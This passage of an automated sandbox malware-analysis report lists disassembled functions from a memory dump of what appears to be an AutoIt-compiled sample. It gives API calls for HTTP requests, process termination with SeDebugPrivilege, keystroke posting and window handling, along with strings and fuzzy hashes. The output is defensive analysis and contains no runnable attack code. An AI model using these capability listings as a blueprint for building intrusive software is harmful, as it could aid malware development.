Instruction Fuzzy Hash: 2B518C71104308AFD700DF64DE55BBE77E8FB88750F100A29FA56972E1CB749905CB62

Function 00ADC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00ADC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00ADC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00ADC2CA
GetLastError.KERNEL32 ref: 00ADC322
SetEvent.KERNEL32(?), ref: 00ADC336
InternetCloseHandle.WININET(00000000), ref: 00ADC341

Strings

, xrefs: 00ADC2BB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: efc10af5b52432befb3c919ce98f8d0fc416da8997f060dd628a2eb280265255
Instruction ID: 33edf4f73a3ed01a7737522e887434acec9099ce947d5de1f0253c3813b75e73
Opcode Fuzzy Hash: efc10af5b52432befb3c919ce98f8d0fc416da8997f060dd628a2eb280265255
Instruction Fuzzy Hash: 35316DB1500209AFD721EFA58988ABBBBFCEB49764B50851EF44797300DB34DD05DB60

Function 00AC989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00AA3AAF,?,?,Bad directive syntax error,00AFCC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00AC98BC
LoadStringW.USER32(00000000,?,00AA3AAF,?), ref: 00AC98C3

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00AC9987

Strings

Line %d (File "%s"):, xrefs: 00AC992D
Error: , xrefs: 00AC9955
Line %d:, xrefs: 00AC9912
., xrefs: 00AC996D
%s (%d) : ==> %s.: %s %s, xrefs: 00AC98F1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 21ee1e9321b41f78ba3eb90ebcbcae205c3a2ad5e3e2cb50d791c8c62c09b8c9
Instruction ID: 05ef66f524332e057bb5610e8012cbfae81ea861083d7a9ee48fbc72257a7a69
Opcode Fuzzy Hash: 21ee1e9321b41f78ba3eb90ebcbcae205c3a2ad5e3e2cb50d791c8c62c09b8c9
Instruction Fuzzy Hash: DF21483280021EBBCF15EF90CE0AEEE7779BF18700F044469F519661A2EB71AA18DB51

Function 00AC209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00AC20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00AC20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00AC214D

Strings

smallicons, xrefs: 00AC2115
SHELLDLL_DefView, xrefs: 00AC20CC
largeicons, xrefs: 00AC20E1
list, xrefs: 00AC212F
details, xrefs: 00AC20FB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: bf1fbc1f0116f62e4e15740bc793a65205e9b1b993c2afeda5b2909535e44301
Instruction ID: c5bc98a7f94b4d69df3bfd342ec01fff2bef66f07c0767085795c5c52be9f61f
Opcode Fuzzy Hash: bf1fbc1f0116f62e4e15740bc793a65205e9b1b993c2afeda5b2909535e44301
Instruction Fuzzy Hash: 32110676688717B9FA157720EC0AFF677DCCF08364B21026AFB08A90E1FE7568025B14

Function 00A98D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f546d52bc3da439050a4a16f369fa7dad23fb82e00e9ddb4ec6cf972a7129b26
Instruction ID: 93999cdf417a280b20ea1728a18cac12e5e9498f78d28fe1625adbcc9238ed60
Opcode Fuzzy Hash: f546d52bc3da439050a4a16f369fa7dad23fb82e00e9ddb4ec6cf972a7129b26
Instruction Fuzzy Hash: 80C1CF74F04249AFDF11EFACC941BAEBBF0BF1A310F144199E425A7292DB349941CB61

Function 00A9CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00A9CEB7
_free.LIBCMT ref: 00A9CF22
_free.LIBCMT ref: 00A9CF48
_free.LIBCMT ref: 00A9CF71
_free.LIBCMT ref: 00A9CFA9
_free.LIBCMT ref: 00A9CFDA
_free.LIBCMT ref: 00A9D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00A9D09C
_free.LIBCMT ref: 00A9D0B5

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: d6e7760c2b0aa288bdebad7953e36c91d457d4965659e1aa2cd2aac57b52a2d9
Instruction ID: d3e7ce50ddb9d82db3f42da2d7ca2da66df810c12aba70ae9f4e25b955734c76
Opcode Fuzzy Hash: d6e7760c2b0aa288bdebad7953e36c91d457d4965659e1aa2cd2aac57b52a2d9
Instruction Fuzzy Hash: DD613471B08701AFDF21AFB89991B6E7BE5EF05360F14416DF945A7282EB31AD018790

Function 00A78B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00AB6890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00AB68A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00AB68B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00AB68D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00AB68F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00A78874,00000000,00000000,00000000,000000FF,00000000), ref: 00AB6901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00AB691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00A78874,00000000,00000000,00000000,000000FF,00000000), ref: 00AB692D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: a777896c7836c37c31cb39ee7d60db5c9141071b5bbd9ac60b9655e4f58d75cf
Instruction ID: 02c3c980c958aa8abcb4d1d6e0ee72187c6ff771e035225db40a77e94f2261ab
Opcode Fuzzy Hash: a777896c7836c37c31cb39ee7d60db5c9141071b5bbd9ac60b9655e4f58d75cf
Instruction Fuzzy Hash: 83519D70640209EFDB20CF65CC55FAE7BB9FB88760F108518F94A972A0DB74E951DB50

Function 00ADC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00ADC182
GetLastError.KERNEL32 ref: 00ADC195
SetEvent.KERNEL32(?), ref: 00ADC1A9

Part of subcall function 00ADC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00ADC272
Part of subcall function 00ADC253: GetLastError.KERNEL32 ref: 00ADC322
Part of subcall function 00ADC253: SetEvent.KERNEL32(?), ref: 00ADC336
Part of subcall function 00ADC253: InternetCloseHandle.WININET(00000000), ref: 00ADC341

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 65356b7cd43ca9c1acbe9e8b108d7021becd4f7e5aa85ac17ebd954bba76a9a3
Instruction ID: c0ea84ca6ba427da65d92fa1a1249a2d5aa6276d30a419a56283c3c767f33ebb
Opcode Fuzzy Hash: 65356b7cd43ca9c1acbe9e8b108d7021becd4f7e5aa85ac17ebd954bba76a9a3
Instruction Fuzzy Hash: 47318971200706AFDB21AFE69E44AB6BBF8FF18320B50451EF95782710D730E815DBA0

Function 00AC25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00AC3A57
Part of subcall function 00AC3A3D: GetCurrentThreadId.KERNEL32 ref: 00AC3A5E
Part of subcall function 00AC3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00AC25B3), ref: 00AC3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00AC25BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00AC25DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00AC25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00AC25E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00AC2601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00AC2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00AC260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00AC2623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00AC2627

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 2d1158755f78487a7a7cbcb00add81681df5b4202a5cd4231aa3fb316e09bf92
Instruction ID: e3ef3b652270ce7f33b1209545d3772a310f9b64ad3244ce36b17e496e8b9b5c
Opcode Fuzzy Hash: 2d1158755f78487a7a7cbcb00add81681df5b4202a5cd4231aa3fb316e09bf92
Instruction Fuzzy Hash: 5401D431394228BBFB10A7A99C8AF693F59DF4EB62F110015F318AE0D1C9F26455CA69

Function 00AC1803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00AC1449,?,?,00000000), ref: 00AC180C
HeapAlloc.KERNEL32(00000000,?,00AC1449,?,?,00000000), ref: 00AC1813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00AC1449,?,?,00000000), ref: 00AC1828
GetCurrentProcess.KERNEL32(?,00000000,?,00AC1449,?,?,00000000), ref: 00AC1830
DuplicateHandle.KERNEL32(00000000,?,00AC1449,?,?,00000000), ref: 00AC1833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00AC1449,?,?,00000000), ref: 00AC1843
GetCurrentProcess.KERNEL32(00AC1449,00000000,?,00AC1449,?,?,00000000), ref: 00AC184B
DuplicateHandle.KERNEL32(00000000,?,00AC1449,?,?,00000000), ref: 00AC184E
CreateThread.KERNEL32(00000000,00000000,00AC1874,00000000,00000000,00000000), ref: 00AC1868

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 4286858005cbf25e4ed39550c39ddfa996af6d05185e5a758dc64c93f1eb2413
Instruction ID: cf0a30254df6a9f5c45a111cc1a3bd18b0a7abea9ef549c5eb5d9895ed993ca3
Opcode Fuzzy Hash: 4286858005cbf25e4ed39550c39ddfa996af6d05185e5a758dc64c93f1eb2413
Instruction Fuzzy Hash: 3401BBB5240308BFE710EBE6DD4DF6B7BACEB89B51F014511FA05DB1A2CA709811DB64

Function 00AEA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00ACD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00ACD501
Part of subcall function 00ACD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00ACD50F
Part of subcall function 00ACD4DC: CloseHandle.KERNEL32(00000000), ref: 00ACD5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00AEA16D
GetLastError.KERNEL32 ref: 00AEA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00AEA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00AEA268
GetLastError.KERNEL32(00000000), ref: 00AEA273
CloseHandle.KERNEL32(00000000), ref: 00AEA2C4

Strings

SeDebugPrivilege, xrefs: 00AEA18F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 7b6e38b2fa0bb938449dd6c30ce447a58f03cb0a29da5d559e2bb944661884be
Instruction ID: 6d1301d6af1ebb181e4b2a84a51e9c4737fa5a557bf13a86e25a21af21e0ba6f
Opcode Fuzzy Hash: 7b6e38b2fa0bb938449dd6c30ce447a58f03cb0a29da5d559e2bb944661884be
Instruction Fuzzy Hash: DE619C302042829FD710DF56C594F65BBE1AF54318F15848CE5668B7A3C772FC45CB92

Function 00AF3886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00AF3925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00AF393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00AF3954
_wcslen.LIBCMT ref: 00AF3999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00AF39C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00AF39F4

Strings

SysListView32, xrefs: 00AF38F7

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: cf892c13c97bc8be7590d10a4be78582ddc81a2b396bbe9fcc11f3eece7ee5d2
Instruction ID: e5f9c28ea403d5e6a6a38a5bc5e5a803eec7a98fd798d402a7395e609a393fb7
Opcode Fuzzy Hash: cf892c13c97bc8be7590d10a4be78582ddc81a2b396bbe9fcc11f3eece7ee5d2
Instruction Fuzzy Hash: 1F419572A0021DABDF21DFA4CC45BFE77A9EF08350F100566FA58E7291D7B59980CB90

Function 00ACBC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00ACBCFD
IsMenu.USER32(00000000), ref: 00ACBD1D
CreatePopupMenu.USER32 ref: 00ACBD53
GetMenuItemCount.USER32(012954A0), ref: 00ACBDA4
InsertMenuItemW.USER32(012954A0,?,00000001,00000030), ref: 00ACBDCC

Strings

0, xrefs: 00ACBCA8
2, xrefs: 00ACBD37

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 3accdde7cdcbc0b01020fa5136a4db4bcb93db864312a986dba2addfb4f656da
Instruction ID: 529aee040690b630dcd040bd7f3afe1a3bd35b1a00e87380971a229088f4addf
Opcode Fuzzy Hash: 3accdde7cdcbc0b01020fa5136a4db4bcb93db864312a986dba2addfb4f656da
Instruction Fuzzy Hash: 7751DD70A102099BDF12CFA8D986FAEBBF8BF45324F15415DE412AB290D7729941CB71

Function 00ACC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00ACC913

Strings

blank, xrefs: 00ACC895
question, xrefs: 00ACC8CC
warning, xrefs: 00ACC8FC
stop, xrefs: 00ACC8E4
info, xrefs: 00ACC8B4

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: edf90dd44fb1e64a5dfebeb57aa51ae8d67e3ea8007ad5657e5eafc44f80df70
Instruction ID: a6312391e6610c088e930b4fd850f997904737d787d1bed43c6a271eb9b01bc6
Opcode Fuzzy Hash: edf90dd44fb1e64a5dfebeb57aa51ae8d67e3ea8007ad5657e5eafc44f80df70
Instruction Fuzzy Hash: 8F112032689317BAE705AB54ED83EAF77ECDF15374B11006EF908A62D2E7709D005365

Function 00ACED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00ACED2A
_wcslen.LIBCMT ref: 00ACED3B
_wcslen.LIBCMT ref: 00ACED79
_wcslen.LIBCMT ref: 00ACEDAF
_wcslen.LIBCMT ref: 00ACEDDF
_wcslen.LIBCMT ref: 00ACEDEF
_wcslen.LIBCMT ref: 00ACEE2B
_wcslen.LIBCMT ref: 00ACEE5A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 18308e1af98ab8c71cd1553544c5e5d649fe33136cf0e99e54ef9473b54000d8
Instruction ID: 2db960d7e88ce01bc39631e51b44cccae1fb17cf0276320cade837cba96c28f1
Opcode Fuzzy Hash: 18308e1af98ab8c71cd1553544c5e5d649fe33136cf0e99e54ef9473b54000d8
Instruction Fuzzy Hash: 4B419075C1021876DB21FBF4898AECFB7ACAF45710F508466E528E3162FB34E255C3A6

Function 00A7F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00AB682C,00000004,00000000,00000000), ref: 00A7F953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00AB682C,00000004,00000000,00000000), ref: 00ABF3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00AB682C,00000004,00000000,00000000), ref: 00ABF454

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 37f299730a5052ea5450de51e322a46877a61acd875ab71644ad4133ac441b01
Instruction ID: 2bea815704c49c154273956f83bd10c7ae18cc790635147e6c769cbd39930d67
Opcode Fuzzy Hash: 37f299730a5052ea5450de51e322a46877a61acd875ab71644ad4133ac441b01
Instruction Fuzzy Hash: 1C414D31208640BEC7349B7DCD987BA7BE5AB46320F18C53CE26F57561D631AA81CB11

Function 00AF2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00AF2D1B
GetDC.USER32(00000000), ref: 00AF2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00AF2D2E
ReleaseDC.USER32(00000000,00000000), ref: 00AF2D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00AF2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00AF2D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00AF5A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00AF2DC2
